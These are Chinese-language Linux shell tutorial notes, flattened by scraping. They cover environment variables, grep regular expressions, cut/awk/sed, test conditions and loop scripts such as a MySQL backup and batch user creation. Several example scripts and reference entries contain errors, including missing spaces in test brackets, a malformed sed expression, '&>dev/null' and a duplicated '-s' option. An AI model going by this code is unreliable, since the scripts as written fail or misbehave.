~]# bash[root@localhost ~]# set 系统常见环境变量123456789101112131415# PATH:系统查找命令的路径# 环境变量[root@localhost ~]# echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin[root@localhost sh]# cp ./hello.sh /root/bin[root@localhost ~]# hello.sh Hello World!# PATH变量叠加PAHT="$PATH":/root/sh[root@localhost ~]# PATH="$PATH":/root/sh[root@localhost ~]# hello.sh Hello World![root@localhost ~]# echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/sh PS1:定义系统提示符的变量 转义序列 描述 \\d 显示日期,格式为“星期 月 日” \\h 显示简写主机名。如默认主机名“localhost” \\t 显示24小时制时间,格式为“HH:MM:SS” \\T 显示12小时制时间,格式为“HH:MM:SS” \\A 显示24小时制时间,格式为“HH:MM” \\u 显示当前用户名 \\w 显示当前所在目录的完整名称 \\W 显示当前所在目录的最后一个目录 \\# 显示这是当前会话中执行的第几个命令 \\$ 显示提示符。如果是root用户会显示“#”,如果是普通用户会显示“$” 12345678[root@localhost ~]# echo $PS1[\\u@\\h \\W]\\$[root@localhost ~]# PS1='[\\u@\\t\\w]\\$ '[root@10:56:03~]# cd /usr/local/src[root@10:56:49/usr/local/src]# PS1='[\\u@\\@ \\h \\#\\W]\\$ '[root@10:57 上午 localhost 31src]# PS1='[\\u@\\h \\W]\\$ '# 临时的修改,重启或者重新登录就修改回去了 环境变量配置文件source命令12345678910# 在Linux中,source 命令或者点命令(.)被用来读取并执行指定文件中的命令。# 通常这类文件包含了环境变量的赋值。# 使用 source 或者点命令执行文件后,文件中定义的环境变量将会在当前会话中即时生效,而无需重新启动或退出当前会话。# 这通常用于修改环境变量配置文件,如 ~/.bashrc、~/.profile 或者是其他自定义的脚本文件。[root@localhost ~]# source /path/to/configuration_file# 或者[root@localhost ~]# . /path/to/configuration_file 环境变量配置文件简介环境变量配置文件中主要是定义对系统的操作环境生效的系统默认环境变量,比如PATH(环境变量)/HISTSIZE(历史命令)/PSI(提示符)/HOSTNAME(系统名)等默认环境变量 环境变量主要有: 12345/etc/profile /etc/profile.d/*.sh~/.bash_profile~/.bashrc/etc/bashrc 在etc中对所有用户都生效,~只对家目录生效 环境变量配置文件作用description:配置文件的优先级 /etc/profile的作用123456789USER变量:LOGNAME变量:MAIL变量:PATH变量:HOSTNAME变量:HISTSIZE变量:umask:# 注意:写在后面的环境变量会覆盖前面的变量,除非使用变量叠加 其他配置文件和登录信息注销时生效的环境变量配置文件1~/.bash_logout #可以把命令写到这个文件中,系统在注销的时候就会执行这些命令 其他配置文件1~/.bash_history #历史命令,排错使用 Shell登录信息1234567891011121314151617181920本地终端欢迎信息:/etc/issue 转义符 作用 \\d 显示当前系统日期 \\s 显示操作系统名称 \\l 显示登录的终端号,这个比较常用 \\m 显示硬件体系结构,如i386,i686等 显示主机名 \\o 显示域名 \\r 显示内核版本 \\t 显示当前系统时间 \\u 显示当前登录用户的序列号 远程终端欢迎信息:/etc/issue.net(不认上面的转义符)转义符在/etc/issue.net文件中不能使用是否显示此欢迎信息,由ssh的配置文件/etc/ssh/sshd_config决定,加入“Banner /etc/issue.net”行才能显示(记得重启ssh服务)重启服务:service sshd restart #重启sshd服务登陆后欢迎信息:/etc/motd#不管是本地登陆,还是远程登陆,都可以显示此欢迎信息 位置参数变量 位置参数变量 作用 $n n为数字,$0代表命令本身,$1-$9代表第一到第九个参数,十以上的参数需要用大括号包含,如${10} $* 这个变量代表命令行中所有的参数,$*把所有的参数看成一个整体 $@ 这个变量也代表命令行中所有的参数,不过$@把每个参数区分对待 $# 这个变量代表命令行中所有参数的个数 123456789101112131415161718[root@192 ~]# cd sh[root@192 sh]# lshello.sh h.sh square.sh[root@192 sh]# vi parameters.sh#!/bin/bashecho $0echo $1echo $2echo $3# 修改脚本增加执行权限[root@192 sh]# chmod +x parameters.sh [root@192 sh]# sh parameters.sh parameters.sh[root@192 sh]# sh parameters.sh 123 123 456 parameters.sh123123456 关于环境变量的脚本12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364# 示例1(求和):sum.sh#!/bin/bash# author:kalinum1=$1num2=$2sum=$(($num1+$num2))# 变量sum的和是num1加num2echo $sum# 打印变量sum的值# 另一种写法#!/bin/bashsum=$(($1+$2))echo "sum is :$sum" [root@192 sh]# ./sum.sh 33 4578# 示例2:#!/bin/bashecho "A total of $# parameters" #使用$#代表所有参数的个数echo "The parameter is: $*" #使用$*代表所有的参数echo "The parameter is: $@" #使用$@也代表所有参数# 实际我按下面的写[root@192 sh]# vi parameters1.sh#!/bin/bashecho $#echo $*echo $@[root@192 sh]# parameters1.sh-bash: /root/sh/parameters1.sh: 权限不够[root@192 sh]# chmod 755 parameters1.sh[root@192 sh]# parameters1.sh 0[root@192 sh]# parameters1.sh 11 22 33 44 55 66 #查看参数有几个611 22 33 44 55 6611 22 33 44 55 66# 示例3:$*与$@的区别 [root@192 sh]# vi parameters2.sh[root@192 sh]# chmod 755 parameters2.sh[root@192 sh]# parameters2.sh 1 2 3 4The parameters is : 1 2 3 4The parameter1 is:1The parameter2 is:2The parameter3 is:3The parameter4 is:4[root@192 sh]# cat parameters2.sh#!/bin/bashfor i in "$*"#$*中的所有参数看成是一个整体,所以这个for循环只会循环一次 do echo "The parameters is : $i" donex=1for y in "$@"#$@中的每个参数都看成是独立的,所以"$@"中有几个参数,就会循环几次 do echo "The parameter$x is:$y" x=$(($x+1)) done 预定义变量 预定义变量 作用 $? 最后一次执行的命令的返回状态。如果这个变量的值为0,证明上一个命令正确执行;如果这个变量的值为非0(具体哪个数,由命令自己来决定),则证明上一个命令执行不正确。 $$ 当前进程的进程号(PID) $! 后台运行的最后一个进程的进程号(PID) 12345678910111213141516171819202122[root@192 sh]# ls 123ls: 无法访问123: 没有那个文件或目录[root@192 sh]# echo $?2# 示例:[root@192 sh]# vi variable.sh[root@192 sh]# chmod 755 variable.sh[root@192 sh]# variable.sh The current process is 62038The last one Daemon process is 62039[root@192 sh]# /root/sh/hello.sh#!/bin/bash#Author bykingecho "The current process is $$"#输出当前进程的PID#这个PID就是variable.sh这个脚本执行时,生成的进程的PIDfind /root -name hello.sh &#使用find命令在root目录下查找hello.sh文件#符号&的意思是把命令放入后台执行echo "The last one Daemon process is $!" 接收键盘输入12345678910111213141516171819202122232425262728293031323334[root@localhost ~]# read [选项] [变量名]选项: -p "提示信息":在等待read输入时,输出提示信息,read命令会一直等待用户输入,使用此选项可以指定等待时间 -n 秒数: read命令只接受指定的字符数,就会执行 -s: 隐藏输入的数据,适用于机密信息的输入#!/bin/bash# Author:布衣kingread -t 30 -p "Please input your name:" nameecho "Name is $name"read -s -t 30 -p "Please enter your age:" age#年龄是隐私,所以我们用“-s”选项隐藏输入echo -e " "echo "Age is $age"read -n 1 -t 30 -p "Please select your gender[M/F]:" sex#使用“-n 1”选项只接收一个输入字符就会执行(都不用输入回车)echo -e " "echo "Sex is $sex"#另一种#!/bin/bash# Author:布衣kingread -t 30 -p "Please input your name:" nameread -s -t 30 -p "Please enter your age:" age#年龄是隐私,所以我们用“-s”选项隐藏输入read -n 1 -t 30 -p "Please select your gender[M/F]:" sex#使用“-n 1”选项只接收一个输入字符就会执行(都不用输入回车)echo "Name is $name"echo -e " "echo "Age is $age"echo -e " "echo "Sex is $sex" Bash的数值运算和运算符数值运算123456[root@192 sh]# aa=11 [root@192 sh]# bb=22[root@192 sh]# cc=$aa+$bb[root@192 sh]# echo $cc 11+22#变量默认数据类型是字符串 declare声明变量类型123456789101112[root@localhost ~]# declare [+/-][选项] 变量名选项: -: 给变量设置类型属性 +: 取消变量的类型属性 -i: 将变量声明为整数型(integer) -x: 将变量声明为环境变量 -p: 显示指定变量的被声明的类型[root@192 sh]# declare -p aadeclare -- aa="11"[root@192 sh]# export aa[root@192 sh]# declare -p aadeclare -x aa="11"< /FONT> 数值运算——方法1123456[root@192 sh]# aa=11[root@192 sh]# bb=22#给变量aa和bb赋值[root@192 sh]# declare -i cc=$aa+$bb[root@192 sh]# declare -p ccdeclare -i cc="33" 方法2:expr或let数值运算工具1234567891011# expr英文:简单计算器[root@192 sh]$ aa=11[root@192 sh]$ bb=22#给变量aa和bb赋值[root@192 sh]$ dd= $(expr $aa+ $bb) #dd的值是aa和bb的和。注意“+”号左右两侧必须有空格,错误结果[root@192 sh]$ dd=$(expr $aa + $bb) #加空格后的结果 33[root@192 sh]$ echo $dd33[root@192 sh]$ dd=$(expr $aa+$bb) #没有加空格的结果 11+22[root@192 sh]$ echo $dd11+22 方法3:$((运算式))或$[运算式]123456[root@192 sh]# aa=11[root@192 sh]# bb=22[root@192 sh]# ff=$(($aa+$bb))[root@192 sh]# gg=$[$aa+$bb][root@192 sh]# echo $ff $gg33 33 运算符(数值越大优先级越高) 优先级 运算符 说明 13 -,+ 单目负、单目正 12 !,~ 逻辑非、按位取反或补码 11 *,/,% 乘、除、取模 10 +,- 加,减 9 <<,>> 按位左移,按位右移 8 <=,>=,<,> 小于或等于,大于或等于,小于,大于 7 ==,!= 等于、不等于 6 & 按位与 5 ^ 按位异或 4 | 按位或 3 && 逻辑与 2 || 逻辑或 1 =,+=,-=,*=,/=,%=,&=,^=,|=,<<=,>>= 赋值、运算且赋值 12345678[root@localhost ~]$ aa=$(((11+3)*3/2))#虽然乘和除的优先级高于加,但是通过小括号可以调整运算优先级[root@localhost ~]$ bb=$((14%3)) #14不能被3整除,余数是2[root@localhost ~]$ cc=$((1&&0))#逻辑与运算只有两边都是1,与的结果才是1,否则与的结果是0[yangmi@localhost ~]$ cc=$((2&&2))[yangmi@localhost ~]$ echo $cc1 Shell编程 Shell脚本是在Linux shell中执行的命令集合,用于自动化执行复杂或重复的任务。将命令写入脚本文件可简化操作并便于维护;建议将自定义脚本存放在/user/local/sbin/目录下以便管理和定时执行任务。 正则表达式正则表达式与通配符正则表达式用来在文件中匹配符合条件的字符串,正则是包含匹配。grep、awk、sed等命令支持正则表达式。 通配符用来匹配符合条件的文件名,通配符是完全匹配。ls、find、cp这些命令不支持正则表达式,所以只能使用shell自己的通配符来进行匹配(* ? [])。 基础正则表达式 元字符 作用 * 前一个字符匹配0次或任意多次 . 匹配除了换行符外任意一个字符 ^ 匹配行首。例如:^hello会匹配以hello开头的行 $ 匹配行尾。例如:hello$会匹配以hello结尾的行 [ ] 匹配中括号中指定的任意一个字符,只匹配一个字符。例如:[aoeiu]匹配任意一个元音字母,[0-9]匹配任意一位数字,[a-z][0-9]匹配小写字和一位数字构成的两位字符 [^] 匹配除中括号的字符以外的任意一个字符。例如:[^0-] \\ 转义符。用于取消将特殊符号的含义取消 \\{n\\} 表示其前面的字符恰好出现几次。例如:[0-9]{4}匹配4位数字,[1][3-8][0-9]\\{9\\}匹配手机号码 \\{n,\\} 表示其前面的字符出现不小于n次。例如:[0-9]\\{2,\\}表示两位以上的数字 \\{n,m\\} 表示其前面的字符至少出现n次,最多出现m次。例如:[a-z]\\{6,8\\}匹配6到8位的小写字母 test_rule.txt1234567891011Mr. Li Ming said:he was the honest man in Lampbrother.123despise him.But since Mr. shen Chao came,he never saaaid those words.5555nice!because,actuaaaally,Mr. Shen Chao is the most honest man!Later,Mr. Li ming soid his hot body. "*"前一个字符匹配0次或任意多次 1234567891011# 匹配所有内容,包括空白行[root@localhost kali]# grep "a*" test_rule.txt # 匹配至少包含有一个a的行[root@localhost kali]# grep "aa*" test_rule.txt # 匹配最少包含两个连续a的字符串[root@localhost kali]# grep "aaa*" test_rule.txt # 匹配最少包含四个连续a的字符串[root@localhost kali]# grep "aaaaa*" test_rule.txt .匹配除了换行符外任意一个字符 123456# "s..d"会匹配在s和d这两个字母之间一定 有两个字符的单词[root@localhost kali]# grep "s..d" test_rule.txt# 匹配在s和d字母之间的任意字符[root@localhost kali]# grep "s.*d" test_rule.txt# 匹配所有内容[root@localhost kali]# grep ".*" test_rule.txt 匹配行首/行尾^匹配行首,$匹配行尾 1234567# 匹配以大写M开头的行[root@localhost kali]# grep "^M" test_rule.txt # 匹配以小写n结尾的行[root@localhost kali]# grep "n$" test_rule.txt # 匹配空白行[root@localhost kali]# grep "^$" test_rule.txt [][ ]匹配中括号中指定的任意一个字符,只匹配一个字符 12345678# 匹配s和i字母中,要不是a,要不是o[root@localhost kali]# grep "s[ao]id" test_rule.txt# 匹配任意一个数字[root@localhost kali]# grep "[0-9]" test_rule.txt # 匹配用小写字母开头的行[root@localhost kali]# grep "^[a-z]" test_rule.txt [^][^]匹配除中括号的字符以外的任意一个字符 1234# 匹配不用小写字母开头的行[root@localhost kali]# grep "^[^a-z]" test_rule.txt# 匹配不用字母开头的行[root@localhost kali]# grep "^[^a-z A-Z]" test_rule.txt \\转义符12# 匹配使用“.”结尾的行[root@localhost kali]# grep "\\.$" test_rule.txt {n}{n}表示其前面的字符恰好出现几次 12345# 匹配a字母连续出现三次的字符串[root@localhost kali]$ grep "a\\{3\\}" test_rule.txt# 匹配a字母连续出现三次的字符串# 匹配包含连续的三个数字的字符串[root@localhost kali]$ grep "[0-9]\\{3\\}" test_rule.txt {n,}{n,}表示其前面的字符出现不小于n次 12# 匹配最少用连续3个数字开头的行[root@localhost kali]# grep "^[0-9]\\{3,\\}[a-z]" test_rule.txt {n,m}{n,m}匹配其前面的字符至少出现n次,最多出现m次 1[root@localhost kali]# grep "sa\\{1,3\\}i" test_rule.txt 字符截取命令cut字段提取命令1234567891011121314151617181920[root@localhost~]# cut [选项] 文件名选项: -f 列号: 提取第几列 -d分隔符: 按照指定分隔符分割列#示例:[root@localhost~]# vi student.txtID\tName\tPHP LINUX\tMYSQL\tAVERAGE1\tliming\t82 95 86 87.662\tsc 74 96 87 85.66 3\tgao 99 83 93 91.66 [root@localhost~]# cut -f 2 student.txt[root@localhost~]# cut -f 2,4 student.txt #提取第2列和第4列[root@localhost~]# cut -d ":" -f 1,3 /etc/passwd[root@localhost~]# cat /etc/passwd | grep /bin/bash | grep -v root | cut -d ":" -f 1#cut命令的局限(不是制表符,是空格符,无法分辨)[root@localhost~]# df -h | grep "sda5" #查看分区使用状况[root@localhost~]# df -h | cut -d " " -f 1,3 #查看分区使用状况 printf命令(awk中使用)12345678910111213141516171819202122printf '输出类型输出格式' 输出内容输出类型:%ns: 输出字符串。n是数字指代输出几个字符%ni: 输出整数。n是数字指代输出几个数字%m.nf: 输出浮点数。m和n是数字,指代输出的整数位数和小数位数。如%8.2f代表共输出8位数,其中2位是小数,6位是整数输出格式:\\a: 输出警告声音\\b: 输出退格键,也就是Backspace键\\f: 清除屏幕 : 换行\\r: 回车,也就是Enter键\\t: 水平输出退格键,也就是Tab键\\v: 垂直输出退格键,也就是Tab键#示例:[root@localhost~]# printf %s 1 2 3 4 5 6[root@localhost~]# printf %s %s %s 1 2 3 4 5 6[root@localhost~]# printf '%s %s %s' 1 2 3 4 5 6[root@localhost~]# printf '%s %s %s ' 1 2 3 4 5 6[root@localhost~]#cat student.txt | printf '%s' #没有结果输出[root@localhost~]#printf '%s' $(cat student.txt) #正确输出,变量赋值输出[root@localhost~]#printf '%s\\t %s\\t %s\\t %s\\t %s\\t %s ' $(cat student.txt) #调整格式输出 在awk命令的输出中支持print和printf命令 print:print会在每个输出之后自动加入一个换行符(Linux默认没有print命令) printf:printf是标准格式输出命令,并不会自动加入换行符,如果需要换行,需要手工加入换行符 awk命令比cut强大,awk是复杂的命令,可以经常编程,流程控制等 123456789# awk '条件1{动作1} 条件2{动作2}...' 文件名条件 (Pattern): 一般使用关系表达式作为条件 x>10 判断变量x是否大于10 x>=10 大于等于10 x<=10 小于等于10动作 (Action): 格式化输出 流程控制语句 注意:awk先读入第一行在开始处理 12345678910111213141516171819#示例:[root@localhost~]# awk '{printf $2 "\\t" $6 " "}' student.txt #不做任何条件执行动作,显示第2和6列[root@localhost~]# df -h | awk '{print $1 "\\t" $3 "\\t" $5}' #可以识别空格[root@localhost~]# df -h | grep sda5 | awk '{print $5}'| cut -d "%" -f 1 #提取使用了多少空间BEGIN #放到开头[root@localhost~]# awk 'BEGIN {printf "This is a transcript "} {printf $2 "\\t" $6 " "}' student.txt#BEGIN是条件,开始之前END #放到结尾[root@localhost~]# awk 'END {printf "This END "} {printf $2 "\\t" $6 " "}' student.txtFS内置变量[root@localhost~]# awk '{FS=":"}' {printf $1 "\\t" $3 " "} /etc/passwd[root@localhost~]# awk 'BEGIN{FS=":"}' {printf $1 "\\t" $3 " "} /etc/passwd[root@localhost~]# cat /etc/passwd | grep "/bin/bash" | awk 'BEGIN { FS=":"} {printf $1 "\\t" $3 " "}'关系运算符[root@localhost~]# cat student.txt | grep -v Name | awk '$6>=87 {printf $2 " "}' sed命令sed是一种几乎包括在所有UNIX平台(包括Linux)的轻量级流编辑器。sed主要是用来将数据进行选取、替换、删除、新增的命令。 123456789101112[root@localhost~]# sed [选项] '[动作]' 文件名选项: -n: 一般sed命令会把所有数据都输出到屏幕,如果加入此选项,则只会把经过sed命令处理的行输出到屏幕。 -e: 允许对输入数据应用多条sed命令编辑 -i: 用sed的修改结果直接修改读取数据的文件,而不是由屏幕输出动作: a\\: 追加,在当前行后添加一行或多行。添加多行时,除最后一行外,每行末尾需要用"\\"代表数据未完结。 c\\: 行替换,用c后面的字符串替换原数据行,替换多行时,除最后一行外,每行末尾需用"\\"代表数据未完结。 i\\: 插入,在当期行前插入一行或多行。插入多行时,除最后一行外,每行末尾需要用"\\"代表数据未完结。 d: 删除,删除指定的行。 p: 打印,输出指定的行。 s: 字串替换,用一个字符串替换另外一个字符串。格式位"行范围s/旧字串/新字串/g"(和vim中的替换格式类似)。 123456789101112131415示例:sed输出都不影响文件本身,只是影响屏幕输出行数据操作:[root@localhost~]# sed '2p' student.txt #查看文件的第2行[root@localhost~]# sed -n '2p' student.txt #查看文件的第2行[root@localhost~]# sed '2,4d' student.txt #删除第二行到第四行的数据,但不修改文件本身[root@localhost~]# df -h | sed -n '2p'[root@localhost~]# sed '2a hello' student.txt #在第二行后追加hello[root@localhost~]# sed '2i hello \\ world' student.txt #在第二行前插入两行数据[root@localhost~]# sed '2c No such person' student.txt #数据替换字符串替换:[root@localhost~]# sed 's/旧字串/新字串/g' 文件名[root@localhost~]# sed '3s/74/99/g' student.txt #在第三行中,把74换成99 [root@localhost~]# sed -i '3s/74/99/g' student.txt #sed操作的数据直接写入文件#[root@localhost~]# sed ie 's/Liming//g;s/Gao//g' student.txt #同时把Liming和Gao替换为空 字符处理命令排序命令sort123456789101112[root@localhost ~]#sort [选项] 文件名选项: -f: 忽略大小写 -n: 以数值型进行排序,默认使用字符串型排序 -r: 反向排序 -t: 指定分隔符,默认分隔符是制表符 -k n[,m] 按照指定的字段范围排序。从第n字段开始,m字段结束(默认到行尾)[root@localhost ~]#sort /etc/passwd #排序用户信息文件[root@localhost ~]#sort -r /etc/passwd #反向排序[root@localhost ~]#sort -t ":" -k 3,3 /etc/passwd #指定分隔符是“:”,用第三字段开头,第三字段结尾排序,就是只用第三字段排序。[root@localhost ~]#sort -n -t ";" -k 3,3 /etc/passwd 统计命令wc12345678[root@localhost ~]#wc [选项] 文件名选项: -l: 只统计行数 -w: 只统计单词数 -m: 只统计字符数[root@localhost ~]# wc /etc/passwd 43 87 2262 /etc/passwd 条件判断安装文件类型进行判断 测试选项 作用 -b 文件 判断该文件是否存在,并且是否为块设备文件(是块设备文件为真) -c 文件 判断该文件是否存在,并且是否为字符设备文件(是字符设备文件为真) -d 文件 判断该文件是否存在,并且是否为目录文件(是目录为真) -e 文件 判断该文件是否存在(存在为真) -f 文件 判断该文件是否存在,并且是否为普通文件(是普通文件为真) -L 文件 判断该文件是否存在,并且是否为符号链接文件(是符号链接文件为真) -p 文件 判断该文件是否存在,并且是否为管道文件(是管道文件为真) -s 文件 判断该文件是否存在,并且是否为非空(非空为真) -s 文件 判断该文件是否存在,并且是否为套接字文件(是套接字文件为真) 1234567891011# 两种判断格式(给程序看的)[root@localhost ~]# test -e /root/install.log # 前面和后面一定要有空格[root@localhost ~]# [ -e /root/kali/test_rule.txt ]# $?查看上一条命令是否正确,返回值是0代表正确,非0代表错误[root@localhost ~]# echo $?0# 命令执行顺序||[root@localhost ~]# [ -d /root ]&& echo "yes"||echo "no" yes 按照文件权限进行判断 测试选项 作用 -r 文件 判断该文件是否存在,并且是否该文件拥有读权限(有读权限为真) -w 文件 判断该文件是否存在,并且是否该文件拥有写权限(有写权限为真) -x 文件 判断该文件是否存在,并且是否该文件拥有执行权限(有执行权限为真) -u 文件 判断该文件是否存在,并且是否该文件拥有SUID权限(有SUID权限为真) -g 文件 判断该文件是否存在,并且是否该文件拥有SGID权限(有SGID权限为真) -k 文件 判断该文件是否存在,并且是否该文件拥有SBit权限(有SBit权限为真) 123[root@localhost ~]# [ -w /root/kali/test_rule.txt ]&& echo "yes"||echo "no"[root@localhost ~]# [ -w /root/kali/test_rule.txt ]&& echo yes||echo noyes 两个文件之间进行比较 测试选项 作用 文件1 -nt 文件2 判断文件1的修改时间是否比文件2的新(如果新则为真) 文件1 -ot 文件2 判断文件1的修改时间是否比文件2的旧(如果旧则为真) 文件1 -ef 文件2 判断文件1是否和文件2的inode号一致,可以理解为两个文件是否为同一个文件,这个判断用于判断硬链接是很好的方法 两个整数之间比较(针对程序脚本的) 测试选项 作用 整数1 -eq 整数2 判断整数1是否和整数2相等(相等为真) 整数1 -ne 整数2 判断整数1是否和整数2不相等(不相等为真) 整数1 -gt 整数2 判断整数1是否大于整数2(大于为真) 整数1 -lt 整数2 判断整数1是否小于整数2(小于为真) 整数1 -ge 整数2 判断整数1是否大于等于整数2(大于等于为真) 整数1 -le 整数2 判断整数1是否小于等于整数2(小于等于为真) 123456789# 判断整数23大于整数22[root@localhost ~]# [ 23 -gt 22 ]&& echo yes ||echo noyes# 判断23是否大于等于22[root@localhost ~]# [ 23 -ge 22 ]&& echo yes ||echo no# 判断23是否小于等于22 [root@localhost ~]# [ 23 -le 22 ]&& echo yes ||echo no 字符串的判断(常用的) 测试选项 作用 -z 字符串 判断字符串是否为空(为空返回真) -n 字符串 判断字符串是否为非空(非空返回真) 字串1==字串2 判断字符串1是否和字符串2相等(相等返回真) 字串1!=字串2 判断字符串1是否和字符串2不相等(不相等返回真) 123456789# 给name变量赋值[root@localhost ~]# name=sc# 判断name是否为空,因为不为空,所以返回no(写程序用的上)[root@localhost ~]# [ -z "$name" ]&& echo "yes"||echo "no"[root@localhost ~]# aa=11[root@localhost ~]# bb=22# 判断两个变量的值是否相等,明显不相等,所以返回no[root@localhost ~]# [ "$aa" == "$bb" ]&& echo "yes" ||echo "no"no 多重条件判断 测试选项 作用 判断1 -a 判断2 逻辑与,判断1和判断2都成立,最终的结果为真 判断1 -o 判断2 逻辑或,判断1和判断2有一个成立,最终的结果就为真 !判断 逻辑非,使原始的判断式取反 12345[root@localhost ~]# aa=11[root@localhost ~]# [ -n "$aa" -a "$aa" -gt 23 ]&& echo yes ||echo nono# 判断变量aa是否有值,同时判断变量aa的是否大于23# 因为变量aa的值不大于23,所以虽然第一个判断值为真,返回的结果也是假 Shell流程控制IF语句单分支if条件语句12345678if [条件判断式] ;then 程序fi或者if [条件判断式] then 程序fi 单分支条件语句需要注意几个点: if语句使用fi结尾,和一般语言使用大括号结尾不同 [条件判断式]就是使用test命令判断,所以中括号和条件判断式之间必须有空格 then后面跟符合条件之后执行的程序,可以放在[ ]之后,用“;”分割。也可以换行写入,就不需要“;”了 判断分区使用率123456789101112131415#!/bin/bash# 统计根分区使用率# Author: kalirate=$(df -h | grep "/dev/sda3" | awk '{print $5}' | cut -d "%" -f1) # 关键# 把根分区使用率作为变量值赋予变量rateif [$rate -ge 80] then echo "Warning! /dev/sda3 is full!!" fi # 此程序的写法# 这条命令可以执行就可以作为变量使用 df -h | grep "/dev/sda3" | awk '{print $5}' | cut -d "%" -f1 双分支if条件语句123456if [条件判断式] then 条件成立时,执行的程序 else 条件不成立时,执行的另一个程序fi 备份mysql数据库1234567891011121314151617181920212223242526#! /bin/bash# 备份mysql数据库# Author: kalintpdate asia.pool.ntp.org &>/dev/null# 同步系统时间date=$(date +%y%m%d)# 把当前系统时间按照“年月日”格式赋予变量datesize=$(du -sh /var/lib/mysql)# 统计mysql数据库的大小,并把大小赋予size变量if [ -d /tmp/dbbak] then echo "Date :$date!" > /tmp/dbbak/dbinfo.txt echo "Date size :$size" >> /tmp/dbbak/dbinfo.txt cd /tmp/dbbak tar -zcf mysql-lib-$date.tar.gz /var/lib/mysql dbinfo.txt &>dev/null #/var/lib/mysql目录可以直接换一个做测试 rm -rf /tmp/dbbak/dbinfo.txt else mkdir /tmp/dbbak echo "Date :$date!" > /tmp/dbbak/dbinfo.txt echo "Date size :$size" >> /tmp/dbbak/dbinfo.txt cd /tmp/dbbak tar -zcf mysql-lib-$date.tar.gz /var/lib/mysql dbinfo.txt &>dev/null rm -rf /tmp/dbbak/dbinfo.txtfi 判断apache是否启动12345678910111213#! /bin/bash# 判断apache是否启动# Author: kaliport=$(nmap -sT 192.168.1.156 | grep tcp | grep http | awk '{print $2}')#使用nmap命令扫描服务器,并截取apache服务的状态,赋予变量portif ["$port"=="port"] then echo "$(date) httpd is ok!" >>/tmp /autostart-acc.log else /etc/rc.d/init.d/httpd start &>/dev/null echo "$(date) restart httpd !!" >>/tmp/autostart-err.logfi 多分支if条件语句12345678910if [条件判断式1] then 当条件判断式1成立时,执行程序1elif [条件判断式2] then 但条件判断式2成立时,执行程序2...省略更多条件...else 当所有条件都不成立时,最后执行此程序fi 判断用户输入的是什么文件12345678910111213141516171819202122232425262728#!/bin/bash# 判断用户输入的是什么文件# Author: kaliread -p "Please input a filename: " file# 接收键盘的输入,并赋予变量file if [ -z "$file"]# 判断file变量是否为空 then echo "Error ,pleae input a filename" exit 1elif [ ! -e "$file"]# 判断file的值是否存在 then echo "Your input is not a file!" exit 2elif [ -f "$file"]# 判断file的值是否为普通文件 then echo "$file is a regulare file!"elif [ -d "$file"]# 判断file的值是否为目录文件 then echo "$file is a directory!"else echo "$file is an other file! "fi CASE语句多分支case条件语句(判断)case语句和if…elif…else语句一样都是多分支条件语句,不过和if多分支条件语句不同的是,case语句只能判断一种条件关系,而if语句可以判断多种条件关系。 123456789101112case $变量名 in "值1") 如果变量的值等于值1,则执行程序1 ;; "值2") 如果变量的值等于值2,则执行程序2 ;; ...省略其他分支... *) 如果变量的值都不是以上的值,则执行此程序 ;;esac 判断用户输入1234567891011121314151617181920212223242526272829303132333435363738394041示例1:#!/bin/bash# 判断用户输入# AuThor:kaliread -p "Please choose yes/no" -t 30 chocase $cho in "yes") echo "YOUR choose is yes!" ;; "no") echo "YOUR choose is no!" ;; *) echo "Your choose is error!" ;;esac示例2:#!/bin/bash# 输入123选择机票# AuThor:kaliecho 'you want to shanghai,plseas input "1"'echo 'you want to guangzhou,plseas input "2"'echo 'you want to chengdu,plseas input "3"' read -t 30 -p "Please input your chooise: " chocase $cho in "1") echo "上海的机票" ;; "2") echo "广州的机票!" ;; "3") echo "成都的机票!" ;; "*") echo "错误,输入1、2、3"esac FOR循环语法一1234for 变量 in 值1 值2 值3... do 程序 done 12345678910111213141516171819202122232425262728#!/bin/bash# 打印时间# AuThor:kalifor time in morning noon afternoon evening do echo "This time is $time!" done #!/bin/bash# 循环1到6# AuThor:kalifor i in 1 2 3 4 5 6 # 可以用变量替代 do echo $i done #!/bin/bash# 批量解压缩脚本# AuThor:kalicd /lampls *.tar.gz>ls.logfor i in $(cat ls.log) do tar -zxf $i &>/dev/null donerm -rf /lamp/ls.log 语法二:适用是否知道循环1234for ((初始值;循环控制条件;变量变化)) do 程序 done 1234567891011121314151617181920212223242526272829303132#!/bin/bash# 从1加到100# AuThor:kalis=0for ((i=1; i<=100; i=i+1)) do s= $(($s+$i)) #只有用双小括号数值才能运算 doneecho "The sum of 1+2+3...+100 is :$s" #!/bin/bash# 批量添加指定数量的用户# AuThor:kaliread -p "Please input user name: " -t 30 nameread -p "Please input the number of users: " -t 30 numread -p "Please input the password of users: " -t 30 passif[ ! -z "$name" -a ! -z "$num" -a ! -z "$pass"] then y=$(echo $num | sed's/^[0-9]*$'//g) if[ -z "$y"] then for((i=1;i<=$num;i=i+1)) do /usr/sbin/useradd $name$i &>/dev/null echo $pass | /usr/bin/passwd --stdin $name$i &>/dev/null #| passwd --stdin "$name$i"另一种写法 done fi fi WHILE循环和UNTIL循环while循环while循环是不定循环,也称作条件循环。只要条件判断式成立,循环就会一直继续,直到条件判断式不成立,循环才会停止。这就是和for的固定循环不太一样了。 语法1234while [ 条件判断式 ] do 程序 done 12345678910111213#!/bin/bash# 从1加到100# AuThor:kalii=1s=0while [$i -le 100]# 如果变量i的值小于等于100,则执行循环 do s=$(($s+$i)) i=$(($i+1)) doneecho "The sum is : "$s" until循环until循环,和while循环相反,until循环时只要条件判断式不成立则进行循环,并执行循环程序。一旦循环条件成立,则终止循环。 语法1234until [ 条件判断式 ] do 程序 done 12345678910111213#!/bin/bash# 从1加到100# AuThor:kalii=1s=0until [$i -gt 100]# 循环直到变量i的值大于100 就停止循环 do s=$(($s+$i)) i=$(($i+1)) doneecho "The sum is : "$s" Shell编程案例分析移动目录123456789101112#!/bin/bash# 编写shell脚本,把/root/目录下的所有目录(只需要一级)拷贝到/tmp/目录下;cd /root/for file in `ls`do if [ -d $file ] then mkdir /tmp/$file else continue fidone 输入整数12345678910111213141516171819202122#!/bin/bash# 编写shell脚本,要求输入一个正整数,然后计算出从1到输入数字的和,要求如果输入的数字小于1,则重新输入,直到输入正确的数字为止;while :doread -p "请输入一个正整数: " nif echo $n |grep -q '[^0-9]'then echo "你没有输入一个正整数!" continuefiif [ $n -lt 1 ]then echo "你没有输入大于1的数!" continuefifor i in `seq 1 $n` #1循环到$ndo 